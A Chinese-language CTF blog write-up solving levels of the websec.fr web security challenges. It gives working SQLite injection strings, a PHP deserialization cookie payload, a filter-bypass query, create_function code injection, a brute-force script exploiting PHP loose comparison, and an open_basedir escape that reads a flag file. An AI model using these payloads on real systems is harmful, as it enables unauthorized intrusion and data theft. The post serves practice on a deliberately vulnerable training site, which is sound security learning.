CTF

Websec 刷题

Posted on 2020-05-11,6 min read

Level01

sqlite注入。

1 order by 2
#字段数为2
-1 union select 1,2
#1,2字段可回显
-1 union select 1,name from sqlite_master WHERE type='table'
#得到表名users
-1 union select 1,sql from sqlite_master WHERE type='table'
#得到表结构CREATE TABLE users(id int(7), username varchar(255), password varchar(255))
-1 union select 1,username||'~~'||password from users where id=1
#得到Flag

Level04

依旧是sqlite注入。只不过要经过一个反序列化

if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}

会反序列化cookie中base64解密后leet_hax0r的值。

class SQL {
    public $query = '';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
    }

    public function SQL_query($query) {
        $this->query = $query;
    }

    public function execute() {
        return $this->conn->query ($this->query);
    }

    public function __destruct() {
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        
        $ret = $this->execute ();
        if (false !== $ret) {    
            while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
                echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
            }
        }
    }
}

$query是我们要执行的sql语句

<?php
class SQL {
    public $query = 'select password as username from users';
    public $conn;

}
$a=new SQL();
echo base64_encode(serialize($a));

替换cookie。刷新得到Flag

Level17

关键源码

if (! strcasecmp ($_POST['flag'], $flag))
    echo '<div class="alert alert-success">Here is your flag: <mark>' . $flag . '</mark>.</div>';   
else
    echo '<div class="alert alert-danger">Invalid flag, sorry.</div>';

strcasecmp。传入数组会为0。然后!后变1.满足条件

Level25

<?php
parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);
foreach ($query as $k => $v) {
	if (stripos($v, 'flag') !== false)
	                          die('You are not allowed to get the flag, sorry :/');
}
include $_GET['page'] . '.txt';
?>

经过parse_url解析后。值不能有flag字样。已知flag为flag.txt
问题在于parse_url。类似http://127.0.0.1///。三个/。就会解析错误

Level02

preg_match单次替换

user_id=-1 ununionion selselectect 1,password frfromom users

Level08

文件上传。传完会包含
传个图片马就行。

Level15

create_function代码注入

;}print_r($flag);//

Level20

反序列化

class Flag {
    public function __destruct() {
       global $flag;
       echo $flag; 
    }
}

function sanitize($data) {
    /* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    if ( ! preg_match ('/[A-Z]:/', $data)) {
        return unserialize ($data);
    }

    if ( ! preg_match ('/(^|;|{|})O:[0-9+]+:"/', $data )) {
        return unserialize ($data);
    }

    return false;
}

暂时不知道原理。

Level10

<?php
        if (isset ($_REQUEST['f']) && isset ($_REQUEST['hash'])) {
            $file = $_REQUEST['f'];
            $request = $_REQUEST['hash'];

            $hash = substr (md5 ($flag . $file . $flag), 0, 8);

            echo '<div class="row"><br><pre>';
            if ($request == $hash) {
            show_source ($file);
            } else {
            echo 'Permission denied!';
            }
            echo '</pre></div>';
        }
        ?>

取md5前8位。进行比较。
由于我们不知道$flag是啥。无法知道密文结果。
但下面比较用的是双等。可能存在弱类型

import requests
for a in range(1,1000):
    url='http://websec.fr/level10/index.php?f='+str('.'+'/'*a+'flag.php')+'&hash=0e12345'
    result=requests.get(url=url).text
    if 'WEBSEC{' in result:
        print(result)
        break

./////881个/flag.php

Level24

if (isset($_GET['p']) && isset($_GET['filename']) ) {
    $filename = $_GET['filename'];
    if ($_GET['p'] === "edit") {
        $p = "edit";
        if (isset($_POST['data'])) {
            $data = $_POST['data'];
            if (strpos($data, '<?')  === false && stripos($data, 'script')  === false) {  # no interpretable code please.
                file_put_contents($_GET['filename'], $data);
                die ('<meta http-equiv="refresh" content="0; url=.">');
            }
        } elseif (file_exists($_GET['filename'])){
            $data = file_get_contents($_GET['filename']);
        }
    }
}

file_put_contents。文件名没过滤。内容进行了过滤
可以配合伪协议写入

Level22

$funcs_internal = get_defined_functions()['internal'];
$funcs_extra = array ('eval', 'include', 'require', 'function');
$funny_chars = array ('\.', '\+', '-', '"', ';', '`', '\[', '\]');
$variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS');
$blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);

我们输入的东西不能是以上内容。最后会eval执行

level31

就一个open_basedir
切换到一个存在的目录。然后..出去

ini_set('open_basedir','/sandbox');chdir('./tmp');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag.php'));

用scandir知道当前有个tmp目录。然后有flag.php。可以用global协议遍历目录得到

level03

$h2 = password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);
password_verify (sha1($flag, fa1se), $h2

我们输入的值。经过sha1加密。返回一串16进制值。然后进入password_hash加密。得到一串hash。注意password_hash如果遇到00.就会截断。只会加密00前面的字符串

如果我们生成的hash。等于了flag经过sha1返回的16进制。那么就给出flag

这里给出payload
wadaa
wadaa经过sha1.加密得到7c0022af2ef5ee457ea9a8aba36d1b54b73085e0
经过password_hash加密。仅仅是7c00。这四个字符的加密结果
然后flag的sha1.是7c00249d409a91ab84e3f421c193520d9fb3674b
password_verify。会将第一个参数。经过password_hash加密。然后和我们输入进行比较
同样都是对7c00进行加密。所以相同

下一篇: [网鼎杯 2020 青龙组]web→